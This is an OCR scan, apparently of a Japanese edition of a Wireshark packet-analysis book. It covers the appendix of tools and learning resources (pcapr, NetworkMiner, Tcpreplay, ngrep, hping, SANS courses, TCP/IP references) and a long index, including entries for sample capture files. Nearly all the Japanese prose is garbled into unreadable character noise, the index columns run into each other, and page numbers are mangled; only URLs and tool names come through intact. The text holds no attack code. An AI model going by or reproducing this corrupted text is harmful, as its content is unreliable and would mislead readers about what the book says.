CloudShark ®# 4 M http://www.cloudshark.org/ T9,

C.1.7 pcapr

pcapr 13 Mu Dynamics 25B % L7z PCAP 7 7 £ Wit D 7230 D JEH 12 B 72 7 Web 2.0 75 v b
T d— AT o REFBEERET T, peapr 1213 3000 D PCAP 7 7 A VA3H D, 400LL Lo X FEF 4
Tara VoYY IR EEFRTET, RA-3idpcapricBiF 2 DHCP NS 74 v 7 Fx 7 F ¥ D
TNV TT,
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-
@ dhcp-relay-serverside.pcap | dhep | peapr - Mozilla Firsfox - S u_J'“*& E‘E‘g
File Edit View History Delicious Bookmarks Tools Help
LA D 3 E (D hitps//www.pcaprnet/view/mu/2008/1/2/23/dhcp-relay-serverside.pcap.htr (B 77 | [~ Google ,l B

|| Infragard Login BB Army ATC System ™ ; Welcome - liferay.com
J @ dhcp-relay-serverside.pcap | dhep | p...l + | ‘
Pcﬂpr 3000 users, 59746097 packets, 2782 pcaps, 421 protocols, 162 tags Hew! Links v chris@chrissanders.org Upload Logout Ej

I DAvout | @ ViewiEdit B2 BookaRs ol 2 A

#|Download

m 1 ¥ 1029999 » 10.1.01 dhcp DHCP Request- Transaction ID 0x27032703
2 F 10101 » 1029999 dhcp DHCP ACK - Transaction ID 0x27032703

m 3 = 1029999 » 224.0.1.22 dhcp DHCP Request- Transaction ID 0x27032703

- Select = Delete ~ Actions ~ c
# Ethernet IT, Src: 00:10:7b:81:43:e2 (00:10:7b:81:43:22), Dst: 01:00:5e:00:01:16 (01:00:5=:00:01 ;8¢
# Internet Protocol, Src: 10.2.99.99 (10.2.99.99), Dst: 224.0.1.22 (224.0.1.22)
# llzer Datagram Protocol. Sro Fort: 68 (68). Dst Port: 67 (67)
¥ Bootstrap Protocol

4 B 10104 » 10.2.09.99 dhcp DHCP ACK - Transaction ID 0x27032703
m 5 ¥ 10201 » 10.1.01 dhcp DHCP Inform - Transaction ID Oxcdabcdab

w6 ¥ 10101 » 1029999 dhcp DHCP ACK - Transaction ID Oxcdabcdab

Done HE

&

KA-3 pcapr CDHCPrS 71y 9DF v+ TF v 2R %

WEDOH TN EET L &L, TP pcapr TIRLET, 2 SADF Y TF ¥ 774 VEFFoT0D
7 5. http://www.pcapr.net/ {27 v 72 —FLCTHALFTFL LI,

C.1.8 NetworkMiner

NetworkMinerit, EIZA Y bT =271 Ly Ty 7 1fibhb Y — IV TT2s, ThbhtosFE
FRBETHHICTBET, 7y b Ey 7 F IOl 325 PCAP 7 7 4 VOISR % 5
L 9, NetworkMiner iZPCAP 7 7 A VEZD L, OST &, F7/2RAMEDOy 3 T8I
SELET. FYTFy0OBEET 7 ANEHET 525 TEE T, NetworkMiner (&8 7 b
. http://networkminer.sourceforge.net/ TATTX 3,

C.1.9 Tcpreplay

Ay R T =27 By REFEER L, TN ARE ) ST 0% onE Ei2id, wo b
Tepreplay % ffi> T ¥ 3, Tepreplay (dPCAP 7 7 A VERYH L, ZOHICEHE TN THE287 v b
ZHEERET 572012 S TwE 9, http://tepreplay.synfin.net/ 205 %7 > 0 — Fu[ g T¥,

C.1.10 ngrep

Linux IZIENTWA %5, F— 7 OMFIZIZE@grep# i) TL X 9. ngrepldgrep & L {BT

| S |
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WETA, PCAPF— #1206 LCIERICH 2o 7o MEENTEE T, EZT7 407059 TLHEREL 72
WA R, HMEICR DT L & ITfio T E 9, http://ngrep.sourceforge.net/ |2 ngrep  #EAl
AERENTVFET,

C.1.11 libpcap

FEERIN Y MENT, A0Sy VWS 57 7)) r—3a v 2% L7z 6, libpeap 12
FELLRAZETT, iHIZE 2L, libpcapld vy T =2 8T 749 72 DF X TF XY DIz20dD, K—
5 TNV C/Cr+ T4 75 TT, Wireshark, tepdump #1Z LD ETEHL LDy MW7 7)) or —
v a v, libpcap 94 75 Y Mo TWE 9, libpeap (22Tl http://www.tcpdump.org/ % S|
LTL7Z& v,

C.1.12 hping

hpingid, ZHBIHEZ 2 Y —VT, A< FI4 Y T7 v bOERK, i ETT., 8F&
F7aba Vi R—FLTBY, fiHIIMH S 2 & A3TE 9, http://www.hping.org/ TF 7 ~
T— R T,

C.1.13 Domain Dossier
RAAL URIPT FL ADBGFEMRZ MR T 5 LENDH 5 L ZIZHM T % DA, Domain Dossier T
o http://www.centralops.net/co/DomainDossier.aspx T7 7 2 A 35 Z LN TEE T,

C.1.14 Perl &Python

Perl & Python (XY — Vv Cld7%<{, AZ VT FEiETT o N7 v MiTICHM L T<B L, =— X%
W7z HEML Y —VSHEAE L 2w s — RIHDbLE T, 29 LG EDY —VEER TS 5 55,
Perl & Python 2D TF o A7z DT 7)) 7 —3 3 YIZPython 2o TWE 3%, &H 5 %58
ST ADORETY,

C.2 I\Uv PERICEIDBEIRIE
Wireshark DR — AX— | ¥ a—2, 70728 LE T, 237y M IC&L B
(HVET, 2O B THROBEIIAYZHALET,

C.2.1 Wiresharkik—LN—

Wireshark ([ZBHL§ 2 3 XTI DO0:5 DA O Web ¥ A1 I, http://www.wireshark.org/ T9
TRV III2TDORF2 AV M, FXYTF X7 7AVOY U TN GLIEFITH %7 Wiki R,
Wireshark X —1 ¥ 7' 2 "ADESFZE T B EHRBH Y T

S
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C.2.2 SANS Security Intrusion Detection In-Depth Course
SANSD X ¥ % —THAHMDERIZDV % o> TwbH b L AL, SANS SEC 503, Intrusion
Detection In-Depth & ) BN 72287 v MEN O 2 — ZEZHFEIE LV ERVWE T, 3oy 51 H
THETH, I—ADRAD 2 BRI, /%7 » MIAT & tepdump O AP & LT, R8T,
T—AERIBELTVWEDIE, X7y Mot —a —1Y 2 1E1E TdH 5 Mike Poor & Judy Novak D 2
AT AEICHE S 4 74 Ry MERTHDR TV ET . REDPRONTBE %5, F 254 ¥ Web
OF v FBRTH ZHATRETT .
SEC 503 & D Athod SANS I — 222\ T, http://www.sans.org/ S L T2 E W,

C.2.3 Chris Sanders®70Y

TR EIFAEEAN, Xy MENICHT 55LE L. L& L EHSO T T S http://www.
chrissanders.org/ \ZHEM L TWE T, R E L2 IHORERHEOR—I NV E LTHHILDE
TR, AL EEZIS b B LTwET,

C.2.4 PacketstanoO7

2Ny MO 7T S THAE-FOBEICAD I, Mike Poor & Judy Novak ™71 2" C§, http://
www.packetstan.com/ (21, HIEEWLS 74 v 7 DG MHW-THY, T2 hbbarysry
DT RTHFHFBRTT,

C.2.5 Wireshark University

Laura Chappell i3 d - & 3 Zu(72 Wireshark fREH DO & )T LD A MIiE Wireshark %
RO v bR, KDL 72345 [Wireshark Network Analysis] (B9 215, T 7-38E S
5 a— A LI I TV E§, http://www.wiresharktraining.com/ 2 2 L T 728w,

C.2.6 IANA

JIANA (Internet Assigned Numbers Authority) http://www.iana.org/ (%, &t KX DIPT7 KL 2 &
TubaANFEEEHRLTOLHBETT . Web¥ A FTIER—MEEOMRPL by 7LV XA VI
B3 28 RECOMBRRPMENTELZ YA bo—Ek L, HELHRSBHRINTHET,

C.2.7 TCP/IP lllustrated (Addison-Wesley) *

% DNAIZTCP/IPOEFE L E 2 5T 5 D%, Richard StevenstHi2k 22Dy — K
Ty MR EF B NG S BT A B EFCF. RO —FOBLAIZAD O TCP/IP M
BChY . ABHEFICLBEIILE LA

T Wl A# [RTCP/IP) €7V Y - 27 ar— 3 VT,

S
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C.2.8 The TCP/IP Guide (No Starch Press)

TCP/IPBHMTYH ) O LoD BAUTAD DS, Charles Kozierok 2 & %5 ZDOARTY, 1000— I DI E
720, FEFICEHELL, 7 EADHEF BB ENLTVE T,
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T - B
! (BPFH#30) 64
&& (BPFHESD) 64
|| (BPFH#3) 64
<iframe>% 7 216
<script>% 7 214, 215
<span>?% 7 216
.pcap Bk 51
BTIANY RV ZA D e 111, 143
802.11 Hi#% 233
A

ACK/Y7r v b 112, 130
ACKed Lost Packet A V£ =3 e 91
AirPcap

~N—=F 248

~DRRE 238

~HESTNT I PF YT T X e 240
AJAX 153
[Analyze] A ==2—

[Expert Info Composite] .........cccoevrrrerreerrrerenes 89

[Display Filters] 69, 71
[Automatic scrolling in live capture] + 7> 3 >~ ... 62
and (714V%) 71
APNIC 76
AppleTalk 37
ARP 29, 93, 94
ARPF ¥ v Y aRAVZ VT . 28, 29, 35, 218

~ &) BEOTE 32
ARPAT =747 29
ARP/Y7 v b 95
ARPA~v ¥ 95
ARPY 7 A} 96
ARP L ARV A 97

arp -ad~Y UK 95
AXFR 140
B
BitTorrent 37
BOOTP 125
BPF#3C 64
BSSID 246
C
Cain & Abel 30, 267
CAM 7—7) 13,94
CAPSCREEN a2~ » I 227
[Capture] 7 ¥ 3~ 46, 59

[Capture] A =2—
[Capture Filters] 71
[Interfaces] ....coorcmmmrernrreeinnnes 44, 59, 63, 260
[Options] 79, 240
[Stop] 44
[Capture File(s)] £27 2 3% oo 60
[Capture Filter] %4 7HZ .o 71
[Capture Options] 4 7HZ ....vvvreenane 58, 59, 79
Chanalyzer 235
Chris Sanders® 7’11 7 272
CIDR %50 100
Cisco 24
CloudShark 269
Colasoft Packet Builder 268
[Coloring Rules] # A 7 HZ ....vveeeererreeeeerrrrenns 48
[Conversations] ¥4 712 75, 154, 202, 209
CyberEYE 224
D
[Decode AS] FA T EY .oooeeeeeeeeeeeeereerensnenn 81, 82
DHCP 125

S
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ACK/%r v b 130 ~FTTA9 XX TTFXTD e 152
DISCOVER YT ¥ M o 127,128 ~DTFTANR=F A= e 153
Message Typed 72 3 Y e, 132 ~pu s A L
OFFER/Y7 v b 129, 130 Fast Retransmission A vt —3
REQUEST ¥4 » b 130 [Filter Expression] %4 712
*Tvav 132 [Filter Expressions] 2 ¥ g~
~D1) — AHEH 132 FIN7 57
~ IS PORETE oo 125, 126 [Find Packet] %4 712
DHCP #H L 127 [Follow TCP Stream] 4 7 H 7 .......ccovucemmn. 83,217
Dir {561 (BPF#§0) 64, 65
DISCOVER Y7 » b 127,128 G
[Display Filter] 4 77 ..o 71,72 GPL 37
[Display Options] 27 23 ¥ v 62 gratuitous ARP/Z37 7 M e 98, 99
DNS 132
~ DT 137 H
~DfVEbEs AT 136 [Hide capture info dialog] + 7> 3 ¥ ..o, 62
DNS7 1) 134, 135, 138 host {5 £fi ¥ 65
~DLV ARV A 138 hosts 7 7 4 IV 164
DNSV'— >~ 140 hping 271
DNS V'— v ifini% 140 HTTP 143
DNSFF 7497 %BHT D e 157 ~TF=F%T7 Y70 =FFD e 145
DNS/ 7 v MOz 133, 134 ~T7599 XY % 143
DNS VAR Y Z2%7 v b 136 HTTPY 7 A b 157
DoD EF 5 [HTTP Requests] %4 7 HZ e 157
Domain Dossier 271 HTTPS 81, 148
DORA L 127
DoS Zt 29, 32 I
dst 581 66 IANA 110, 272
Duplicate ACK X vt —3 90 ICMP 103, 117,118
ICMP~v % 118
E ID SC74) 64
[Edit] #=2— 10757 85
[Find Next] 225 [10 Graphs] ¥4 7u 2 85
[Find Packet] 224 IP (Internet Protocol) 99
[Preferences] ......oeeeeeeeennns 46, 112, 219, 244 IP7 LA 28,99
[Name Resolution] ........ccccoevrververrurrenn. 110 IP7STAYTF—Vay 104
[Set Time Reference] 57 IPv4 99
editcapa~ > 265 IPv4 7% v MTE 102
[Edit Coloring Filter] %4 7HZ .o 49 IPvd~v ¥ 101
[Edit Interface Settings] %4 7HZ ....ccovvvrrvrrernnne 60 ISN 185
[Endpoints] ¥4 702 iwconfig I~ v I 241
Enterasys IXFR 140
ESPN.comD 774y 7 %% % 7TF %35 ... 154
Ethereal 37 J
[Expert Infos] %4 702 90 JFIF X551 227
[Export Specified Packets] ¥4 7H 7 ..., 52 JPG7—% 24§25 228
F K
Facebook Keep Alive X vt —3 91
~ & Twitter O LK 154 Keep Alive ACK X v £ — 91

S
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L Previous Segment Lost X v —3 i 91
L3AA vF 15 [Print] #4702 56
LAN 99 [Printing] £2 ¥ a3~ 47
libpcap 271 Proto 58T (BPFHESL) erereeveemneececerenieenee 64, 65
libpcap/WinPcap T4 7TV .oovveeeeeeeeeeeeeeeerennnns 64 [Protocols] 2 ¥ 3~ 47
[Protocol Hierarchy Statistics] ¥4 717
M 77,78, 155, 156, 201
MAC7 L A 28,29 Python 271
[MAC Address Scanner] ¥4 707 .....veeenn. 31
MD5/vy ¥ 2 179 R
[Merge with Capture File] ¥4 7102 .............. 53 REQUEST Y7 v b 130
Message Type 4 7> a3~ 132 RFC 791 99
MSS 111 RFC 792 118
MTU 104 RFC 793 107
RFC 826 94
N [Ring buffer with] 733> oo 61
[Name Resolution] €27 33> v 47, 62 RTO 170, 182
Netdude 268 RTT 87,182
NetworkMiner 270
ngrep 270 S
Nmap 206, 212 [Save File As] ¥4 7ua 2 52
Nortel 24 Scapy 268
not (741%) 71 set port mirroring create I~ Y N ....oooeieieeeeernn. 24
setspan I~ » I 24
o [Sniffer] 87 (Cain & ADel) oerororseroesrsesrs 30
OFFER/Y7 v b 129, 130 Snort 218
OmniPeek 2 SNS D 5Ht 147
Operation Aurora 213 src &t 65
or (74)V%) 71 SSL 80
OSDOHFR—1 3,38 [Statistics] &7 ¥ a ~ 47
OS74 Y H—=T) 210 [Statistics] X =2 —
OSIZIRET IV 5,7 [Conversations] ........ccccoeeeeeeererrecunne. 75, 155, 202
Out-of-Order X vt —3 91 [Endpoints] 74
[Flow Graph] 88,175
p [HTTP] 157
pOf v — v 212 [10 Graphs] 85, 227
[Packet Bytes] ™A1 ~ 45, 46 [Packet Lengths] 84
[Packet Details] ™A ¥ ..o 45, 46 [Protocol Hierarchy] .......cccccooeruunee. 77,155, 201
[Packet Lengths] %4 7HZ ..o 84 [Summary] 158
[Packet List] 4 ~ 45, 46 [TCP Stream Graph]
~ IR LAN OTERZ BN T2 e 244 [Round Trip Time Graph] ......ccccooevruennne. 87
Packetstan 711 7 272 [Stop Capture] €27 ¥ a3~ 61
pcap JEA 263 [Stop capture after] 7Y 3 e 61
pcap-ng . 263 STOR=Z~ ~ F (FTP) 177
pcapr 269 SYN A ¥ ¥ » 206
PDU 8 ~TDT A NVTDFEH 208
Perl 271 SYN /%7 v b 112
ping 119, 120 SYN/ACK/ ¥ v 112
port-mirroring mode mirror-port 2<% > N .............. 24 [Summary] ¥4 712 158
POST AV vy K 145
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T 248
tara< YN FRRED SR 250
TCP FRGLED L) 248
~DIF =) BN HERE WHOIS #i%% 76
~DFATFY Y (G ... Window is Full # v+t —3Y 91
~DINy 7 7HEE Window Update % vt —3 90
~0 7 1 — il Windump 267
TCP = —{ill{#) WinPcap ¥4 7F X KT AN e 39
TCPA MY —2DFR Wireshark 2,37
TCPATAFA YT T4 Y RIDER . 192 ~ D W 1] 46
TCPtZ A b 185 ~OF L 37
TCPXr v b 185 N—3 2180 ... 43, 44, 46, 51, 52, 53, 59, 63,
TCPAv ¥ 107, 108 78, 82, 220, 226, 227, 228, 240, 245, 263
TCPA—h 108 NrybEy T 43
TCPY v b 115 PEDIZ4 62
TCP 3% 182 K== 271
TCP %% v b 169 AL U4 VR 45
tepdump 2,267 Wireshark ® A > A h—v 39
TCP/IPET IV 5 DEBX—ZADY AT A 41
Tcpreplay 270 Linux TOA » A b=V 41
TCP Retransmission X v £ —3 ... 90 Mac OSXTDA Y AP =)V e 42
TCP SYN A ¥+ ~ 206 RPMXX—Z2AD Y AT A 41
traceroute 121 Windows TDA Y AR =)V .. 39
tracert 123 V= APHD A VI
TTL 101, 102 Wireshark University
Twitter Wi-Spy
~ & Facebook O Mg 154 World of Warcraft
~FTFTTAYTDXXT T e 148 WPA/WPA2
~DFTAVTIAYE =T s 151 ED R
~PurA Tk 148 AL D 1T
Type BT (BPFAESD) ooevveecerrirneccrviernenens 64, 65
X
U xor (7 4V%) 71
UDP 116
UDP~v ¥ 116, 117 Y
UDP # it 199 yum 41
[Update list of packets in real time] + 7> 3~ ... 62
USB A= FDFEF X TF X oo 255 z
[Use multiple files] 733 ¥ e 61 Zero Window #x vt —3
USERY Z ZA NI YK (FTP) oo 177 Zero Window Probe A V£ —3 e

[User Interface] 27 > a3~ ...

\%
[View] A= a2—
[Coloring Rules] 48, 49
[Time Display Format] .......cc.coouue.... 57,170, 196
VirtualBox 258, 259
\W%
WAN 171

Zero Window Probe ACK X vt —3 |

HIT
TITFATTALITH =T UE oo 212
SEACEEAT R 118
7Ry 7E—F 236
7TV —va Vg 6
TTVT =23V NR=ATA Y e 203
AL ENTZSSLANY FY 2 A e 148
A2 a Ve = Y AFEG (ISN) e 185

S
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AV =% MTEHTERY e 159, 162, 165
A YR A X 190, 191
TV YR— b 109
I 28— MifHk 89
I a— 120
Ia—nd 119
T a—BR 119
IT L ATIVHR=RI TN =T e 109
TT—) N bk 181
IV FHRA Vb 73,74
M7
fEAT 4
[Ep SR 197
BV A=RN=% 93
7 nAt 8
eV — Viink 140
F—TTIA Ty b 196
FLHERFZ TR 56, 57
Fr7Fx 3
AA v F TR ESNI Ay VT =27 TD~ ... 22
INTTHER SNz Y NI =7 TD~ . 21
W= TR SN2 Ry NI =27 TD~ ... 33
XX TFXF TV a v ORE
FyITFXYT AN
80211beacon.pcap 242
80211-WEPauthfail.pcap ......ccccceeveverererererennnnes 250
80211-WEPauth.pcap 248
80211-WPAauthfail.pcap ......cocoeverererereererenennes 252
80211-WPAauth.pcap 251
activeosfingerprinting.pcap .......cceceveveeveeveennne 212
arp_gratuitous.pcap 98
arppoison.pcap 218
arp_resolution.pcap 96
aurora.pcap 213
dhcp_inlease_renewal.pcap .........ccoeveevevevenenes 132
dhcp_nolease_renewal.pcap ........cccceeueeennnene. 127
dns_axfr.pcap 140
dns_query_response.peap ........c.ceeeeeeeererenennes 134
dns_recursivequery_client.pcap .......ccoceuee... 137
dns_recursivequery_server.pcap .. 137
download-fast.pcap ... 85,87
download-sIow.pcap .......ccceeeeereerernreennne 84, 85, 89
facebook_login.pcap 152
facebooK_meSSage.peap ....cceeeeeeeeveveveverenenns 153
http_espn.pcap 154
http_google.pcap .....coeeeveeveeereeereenennns 83, 88, 143
http_post.pcap 145
icmp_echo.pcap 119

iCcmp_traceroute.pcap ......coeceeeevevererereereeenenns 121

inconsistent_printer.pcap ................

ip_frag_source.pcap

ip_ttl_dest.pcap
ip_ttl_source.pcap

latencyl.pcap
latency2.pcap

latency3.pcap

latency4.pcap

lotsofweb.pcap

nowebaccessl.pcap

nowebaccess2.pcap

nowebaccess3.pcap

passiveosfingerprinting.pcap .........

ratinfected.pcap

stranded_branchdns.pcap ...............
stranded_clientside.pcap ................

synscan.pcap

tep_dupack.pcap
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